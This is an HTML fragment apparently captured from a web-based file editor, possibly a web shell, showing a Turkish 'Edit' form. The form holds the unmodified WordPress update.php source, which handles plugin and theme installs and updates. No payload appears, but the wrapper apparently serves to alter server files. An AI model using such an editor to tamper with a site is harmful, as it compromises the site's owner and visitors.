?<h3>D¨ızenle: update.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
/**
 * Update/Install Plugin/Theme administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( &#039;IFRAME_REQUEST&#039; )
	&amp;&amp; isset( $_GET[&#039;action&#039;] ) &amp;&amp; in_array( $_GET[&#039;action&#039;], array( &#039;update-selected&#039;, &#039;activate-plugin&#039;, &#039;update-selected-themes&#039; ), true )
) {
	define( &#039;IFRAME_REQUEST&#039;, true );
}

/** WordPress Administration Bootstrap */
require_once __DIR__ . &#039;/admin.php&#039;;

require_once ABSPATH . &#039;wp-admin/includes/class-wp-upgrader.php&#039;;

wp_enqueue_script( &#039;wp-a11y&#039; );

if ( isset( $_GET[&#039;action&#039;] ) ) {
	$plugin = isset( $_REQUEST[&#039;plugin&#039;] ) ? trim( $_REQUEST[&#039;plugin&#039;] ) : &#039;&#039;;
	$theme  = isset( $_REQUEST[&#039;theme&#039;] ) ? urldecode( $_REQUEST[&#039;theme&#039;] ) : &#039;&#039;;
	$action = isset( $_REQUEST[&#039;action&#039;] ) ? $_REQUEST[&#039;action&#039;] : &#039;&#039;;

	if ( &#039;update-selected&#039; === $action ) {
		if ( ! current_user_can( &#039;update_plugins&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to update plugins for this site.&#039; ) );
		}

		check_admin_referer( &#039;bulk-update-plugins&#039; );

		if ( isset( $_GET[&#039;plugins&#039;] ) ) {
			$plugins = explode( &#039;,&#039;, stripslashes( $_GET[&#039;plugins&#039;] ) );
		} elseif ( isset( $_POST[&#039;checked&#039;] ) ) {
			$plugins = (array) $_POST[&#039;checked&#039;];
		} else {
			$plugins = array();
		}

		$plugins = array_map( &#039;urldecode&#039;, $plugins );

		$url   = &#039;update.php?action=update-selected&amp;amp;plugins=&#039; . urlencode( implode( &#039;,&#039;, $plugins ) );
		$nonce = &#039;bulk-update-plugins&#039;;

		wp_enqueue_script( &#039;updates&#039; );
		iframe_header();

		$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( &#039;nonce&#039;, &#039;url&#039; ) ) );
		$upgrader-&gt;bulk_upgrade( $plugins );

		iframe_footer();

	} elseif ( &#039;upgrade-plugin&#039; === $action ) {
		if ( ! current_user_can( &#039;update_plugins&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to update plugins for this site.&#039; ) );
		}

		check_admin_referer( &#039;upgrade-plugin_&#039; . $plugin );

		// Used in the HTML title tag.
		$title        = __( &#039;Update Plugin&#039; );
		$parent_file  = &#039;plugins.php&#039;;
		$submenu_file = &#039;plugins.php&#039;;

		wp_enqueue_script( &#039;updates&#039; );
		require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

		$nonce = &#039;upgrade-plugin_&#039; . $plugin;
		$url   = &#039;update.php?action=upgrade-plugin&amp;plugin=&#039; . urlencode( $plugin );

		$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact( &#039;title&#039;, &#039;nonce&#039;, &#039;url&#039;, &#039;plugin&#039; ) ) );
		$upgrader-&gt;upgrade( $plugin );

		require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;

	} elseif ( &#039;activate-plugin&#039; === $action ) {
		if ( ! current_user_can( &#039;update_plugins&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to update plugins for this site.&#039; ) );
		}

		check_admin_referer( &#039;activate-plugin_&#039; . $plugin );
		if ( ! isset( $_GET[&#039;failure&#039;] ) &amp;&amp; ! isset( $_GET[&#039;success&#039;] ) ) {
			wp_redirect( admin_url( &#039;update.php?action=activate-plugin&amp;failure=true&amp;plugin=&#039; . urlencode( $plugin ) . &#039;&amp;_wpnonce=&#039; . $_GET[&#039;_wpnonce&#039;] ) );
			activate_plugin( $plugin, &#039;&#039;, ! empty( $_GET[&#039;networkwide&#039;] ), true );
			wp_redirect( admin_url( &#039;update.php?action=activate-plugin&amp;success=true&amp;plugin=&#039; . urlencode( $plugin ) . &#039;&amp;_wpnonce=&#039; . $_GET[&#039;_wpnonce&#039;] ) );
			die();
		}
		iframe_header( __( &#039;Plugin Reactivation&#039; ), true );
		if ( isset( $_GET[&#039;success&#039;] ) ) {
			echo &#039;&lt;p&gt;&#039; . __( &#039;Plugin reactivated successfully.&#039; ) . &#039;&lt;/p&gt;&#039;;
		}

		if ( isset( $_GET[&#039;failure&#039;] ) ) {
			echo &#039;&lt;p&gt;&#039; . __( &#039;Plugin failed to reactivate due to a fatal error.&#039; ) . &#039;&lt;/p&gt;&#039;;

			error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			ini_set( &#039;display_errors&#039;, true ); // Ensure that fatal errors are displayed.
			wp_register_plugin_realpath( WP_PLUGIN_DIR . &#039;/&#039; . $plugin );
			include WP_PLUGIN_DIR . &#039;/&#039; . $plugin;
		}
		iframe_footer();
	} elseif ( &#039;install-plugin&#039; === $action ) {

		if ( ! current_user_can( &#039;install_plugins&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to install plugins on this site.&#039; ) );
		}

		require_once ABSPATH . &#039;wp-admin/includes/plugin-install.php&#039;; // For plugins_api().

		check_admin_referer( &#039;install-plugin_&#039; . $plugin );
		$api = plugins_api(
			&#039;plugin_information&#039;,
			array(
				&#039;slug&#039;   =&gt; $plugin,
				&#039;fields&#039; =&gt; array(
					&#039;sections&#039; =&gt; false,
				),
			)
		);

		if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

		// Used in the HTML title tag.
		$title        = __( &#039;Plugin Installation&#039; );
		$parent_file  = &#039;plugins.php&#039;;
		$submenu_file = &#039;plugin-install.php&#039;;

		require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

		/* translators: %s: Plugin name and version. */
		$title = sprintf( __( &#039;Installing Plugin: %s&#039; ), $api-&gt;name . &#039; &#039; . $api-&gt;version );
		$nonce = &#039;install-plugin_&#039; . $plugin;
		$url   = &#039;update.php?action=install-plugin&amp;plugin=&#039; . urlencode( $plugin );
		if ( isset( $_GET[&#039;from&#039;] ) ) {
			$url .= &#039;&amp;from=&#039; . urlencode( stripslashes( $_GET[&#039;from&#039;] ) );
		}

		$type = &#039;web&#039;; // Install plugin type, From Web or an Upload.

		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( &#039;title&#039;, &#039;url&#039;, &#039;nonce&#039;, &#039;plugin&#039;, &#039;api&#039; ) ) );
		$upgrader-&gt;install( $api-&gt;download_link );

		require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;

	} elseif ( &#039;upload-plugin&#039; === $action ) {

		if ( ! current_user_can( &#039;upload_plugins&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to install plugins on this site.&#039; ) );
		}

		check_admin_referer( &#039;plugin-upload&#039; );

		if ( isset( $_FILES[&#039;pluginzip&#039;][&#039;name&#039;] ) &amp;&amp; ! str_ends_with( strtolower( $_FILES[&#039;pluginzip&#039;][&#039;name&#039;] ), &#039;.zip&#039; ) ) {
			wp_die( __( &#039;Only .zip archives may be uploaded.&#039; ) );
		}

		$file_upload = new File_Upload_Upgrader( &#039;pluginzip&#039;, &#039;package&#039; );

		// Used in the HTML title tag.
		$title        = __( &#039;Upload Plugin&#039; );
		$parent_file  = &#039;plugins.php&#039;;
		$submenu_file = &#039;plugin-install.php&#039;;

		require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

		/* translators: %s: File name. */
		$title = sprintf( __( &#039;Installing plugin from uploaded file: %s&#039; ), esc_html( basename( $file_upload-&gt;filename ) ) );
		$nonce = &#039;plugin-upload&#039;;
		$url   = add_query_arg( array( &#039;package&#039; =&gt; $file_upload-&gt;id ), &#039;update.php?action=upload-plugin&#039; );
		$type  = &#039;upload&#039;; // Install plugin type, From Web or an Upload.

		$overwrite = isset( $_GET[&#039;overwrite&#039;] ) ? sanitize_text_field( $_GET[&#039;overwrite&#039;] ) : &#039;&#039;;
		$overwrite = in_array( $overwrite, array( &#039;update-plugin&#039;, &#039;downgrade-plugin&#039; ), true ) ? $overwrite : &#039;&#039;;

		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( &#039;type&#039;, &#039;title&#039;, &#039;nonce&#039;, &#039;url&#039;, &#039;overwrite&#039; ) ) );
		$result   = $upgrader-&gt;install( $file_upload-&gt;package, array( &#039;overwrite_package&#039; =&gt; $overwrite ) );

		if ( $result || is_wp_error( $result ) ) {
			$file_upload-&gt;cleanup();
		}

		require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;

	} elseif ( &#039;upload-plugin-cancel-overwrite&#039; === $action ) {
		if ( ! current_user_can( &#039;upload_plugins&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to install plugins on this site.&#039; ) );
		}

		check_admin_referer( &#039;plugin-upload-cancel-overwrite&#039; );

		// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic &quot;Please select a file&quot; error.
		if ( ! empty( $_GET[&#039;package&#039;] ) ) {
			$attachment_id = (int) $_GET[&#039;package&#039;];

			if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( &#039;pluginzip&#039;, &#039;package&#039; );
				$file_upload-&gt;cleanup();
			}
		}

		wp_redirect( self_admin_url( &#039;plugin-install.php&#039; ) );
		exit;
	} elseif ( &#039;upgrade-theme&#039; === $action ) {

		if ( ! current_user_can( &#039;update_themes&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to update themes for this site.&#039; ) );
		}

		check_admin_referer( &#039;upgrade-theme_&#039; . $theme );

		wp_enqueue_script( &#039;updates&#039; );

		// Used in the HTML title tag.
		$title        = __( &#039;Update Theme&#039; );
		$parent_file  = &#039;themes.php&#039;;
		$submenu_file = &#039;themes.php&#039;;

		require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

		$nonce = &#039;upgrade-theme_&#039; . $theme;
		$url   = &#039;update.php?action=upgrade-theme&amp;theme=&#039; . urlencode( $theme );

		$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact( &#039;title&#039;, &#039;nonce&#039;, &#039;url&#039;, &#039;theme&#039; ) ) );
		$upgrader-&gt;upgrade( $theme );

		require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;
	} elseif ( &#039;update-selected-themes&#039; === $action ) {
		if ( ! current_user_can( &#039;update_themes&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to update themes for this site.&#039; ) );
		}

		check_admin_referer( &#039;bulk-update-themes&#039; );

		if ( isset( $_GET[&#039;themes&#039;] ) ) {
			$themes = explode( &#039;,&#039;, stripslashes( $_GET[&#039;themes&#039;] ) );
		} elseif ( isset( $_POST[&#039;checked&#039;] ) ) {
			$themes = (array) $_POST[&#039;checked&#039;];
		} else {
			$themes = array();
		}

		$themes = array_map( &#039;urldecode&#039;, $themes );

		$url   = &#039;update.php?action=update-selected-themes&amp;amp;themes=&#039; . urlencode( implode( &#039;,&#039;, $themes ) );
		$nonce = &#039;bulk-update-themes&#039;;

		wp_enqueue_script( &#039;updates&#039; );
		iframe_header();

		$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( &#039;nonce&#039;, &#039;url&#039; ) ) );
		$upgrader-&gt;bulk_upgrade( $themes );

		iframe_footer();
	} elseif ( &#039;install-theme&#039; === $action ) {

		if ( ! current_user_can( &#039;install_themes&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to install themes on this site.&#039; ) );
		}

		require_once ABSPATH . &#039;wp-admin/includes/class-wp-upgrader.php&#039;; // For themes_api().

		check_admin_referer( &#039;install-theme_&#039; . $theme );
		$api = themes_api(
			&#039;theme_information&#039;,
			array(
				&#039;slug&#039;   =&gt; $theme,
				&#039;fields&#039; =&gt; array(
					&#039;sections&#039; =&gt; false,
					&#039;tags&#039;     =&gt; false,
				),
			)
		); // Save on a bit of bandwidth.

		if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

		// Used in the HTML title tag.
		$title        = __( &#039;Install Themes&#039; );
		$parent_file  = &#039;themes.php&#039;;
		$submenu_file = &#039;themes.php&#039;;

		require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

		/* translators: %s: Theme name and version. */
		$title = sprintf( __( &#039;Installing Theme: %s&#039; ), $api-&gt;name . &#039; &#039; . $api-&gt;version );
		$nonce = &#039;install-theme_&#039; . $theme;
		$url   = &#039;update.php?action=install-theme&amp;theme=&#039; . urlencode( $theme );
		$type  = &#039;web&#039;; // Install theme type, From Web or an Upload.

		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( &#039;title&#039;, &#039;url&#039;, &#039;nonce&#039;, &#039;plugin&#039;, &#039;api&#039; ) ) );
		$upgrader-&gt;install( $api-&gt;download_link );

		require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;

	} elseif ( &#039;upload-theme&#039; === $action ) {

		if ( ! current_user_can( &#039;upload_themes&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to install themes on this site.&#039; ) );
		}

		check_admin_referer( &#039;theme-upload&#039; );

		if ( isset( $_FILES[&#039;themezip&#039;][&#039;name&#039;] ) &amp;&amp; ! str_ends_with( strtolower( $_FILES[&#039;themezip&#039;][&#039;name&#039;] ), &#039;.zip&#039; ) ) {
			wp_die( __( &#039;Only .zip archives may be uploaded.&#039; ) );
		}

		$file_upload = new File_Upload_Upgrader( &#039;themezip&#039;, &#039;package&#039; );

		// Used in the HTML title tag.
		$title        = __( &#039;Upload Theme&#039; );
		$parent_file  = &#039;themes.php&#039;;
		$submenu_file = &#039;theme-install.php&#039;;

		require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

		/* translators: %s: File name. */
		$title = sprintf( __( &#039;Installing theme from uploaded file: %s&#039; ), esc_html( basename( $file_upload-&gt;filename ) ) );
		$nonce = &#039;theme-upload&#039;;
		$url   = add_query_arg( array( &#039;package&#039; =&gt; $file_upload-&gt;id ), &#039;update.php?action=upload-theme&#039; );
		$type  = &#039;upload&#039;; // Install theme type, From Web or an Upload.

		$overwrite = isset( $_GET[&#039;overwrite&#039;] ) ? sanitize_text_field( $_GET[&#039;overwrite&#039;] ) : &#039;&#039;;
		$overwrite = in_array( $overwrite, array( &#039;update-theme&#039;, &#039;downgrade-theme&#039; ), true ) ? $overwrite : &#039;&#039;;

		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( &#039;type&#039;, &#039;title&#039;, &#039;nonce&#039;, &#039;url&#039;, &#039;overwrite&#039; ) ) );
		$result   = $upgrader-&gt;install( $file_upload-&gt;package, array( &#039;overwrite_package&#039; =&gt; $overwrite ) );

		if ( $result || is_wp_error( $result ) ) {
			$file_upload-&gt;cleanup();
		}

		require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;

	} elseif ( &#039;upload-theme-cancel-overwrite&#039; === $action ) {
		if ( ! current_user_can( &#039;upload_themes&#039; ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to install themes on this site.&#039; ) );
		}

		check_admin_referer( &#039;theme-upload-cancel-overwrite&#039; );

		// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic &quot;Please select a file&quot; error.
		if ( ! empty( $_GET[&#039;package&#039;] ) ) {
			$attachment_id = (int) $_GET[&#039;package&#039;];

			if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( &#039;themezip&#039;, &#039;package&#039; );
				$file_upload-&gt;cleanup();
			}
		}

		wp_redirect( self_admin_url( &#039;theme-install.php&#039; ) );
		exit;
	} else {
		/**
		 * Fires when a custom plugin or theme update request is received.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the action
		 * provided in the request for wp-admin/update.php. Can be used to
		 * provide custom update functionality for themes and plugins.
		 *
		 * @since 2.8.0
		 */
		do_action( &quot;update-custom_{$action}&quot; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}
}
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